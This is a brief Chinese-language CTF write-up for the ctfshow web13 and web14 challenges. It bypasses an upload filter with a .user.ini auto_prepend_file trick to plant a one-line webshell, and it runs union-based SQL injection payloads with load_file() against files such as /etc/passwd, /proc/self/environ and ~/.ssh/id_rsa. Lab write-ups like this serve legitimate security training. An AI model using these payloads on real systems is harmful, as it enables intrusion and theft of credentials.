一。ctfshow web13
文件扫描
存在upload.php.bak
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
我们要上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php(抓包修改也不行)
所以要上传一个.user.ini,内容为auto_prepend_file=1.txt
用蚁剑连接
可以测试成功却无法操作
改为网页指令
这里可以用web12的指令
开头带有四个文件
二。ctfshow web14
-1/**/union/**/select/**/version()
检索当前数据库系统的版本信息。
-1/**/union/**/select/**/load_file('/var/www/html/here_1s_your_f1ag.php')
/etc/passwd
→ 系统用户信息(但密码哈希通常存储在/etc/shadow
)。/var/www/html/config.php
→ 网站配置文件(可能含数据库密码)。/proc/self/environ
→ Web 服务器环境变量(可能泄露敏感信息)。~/.ssh/id_rsa
→ SSH 私钥(如果权限配置错误)。
用-1/**/union/**/select/**/version() 测试出了可以弹出version值
说明可以注入
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
-1/**/union/**/select/**/load_file('/real_flag_is_here')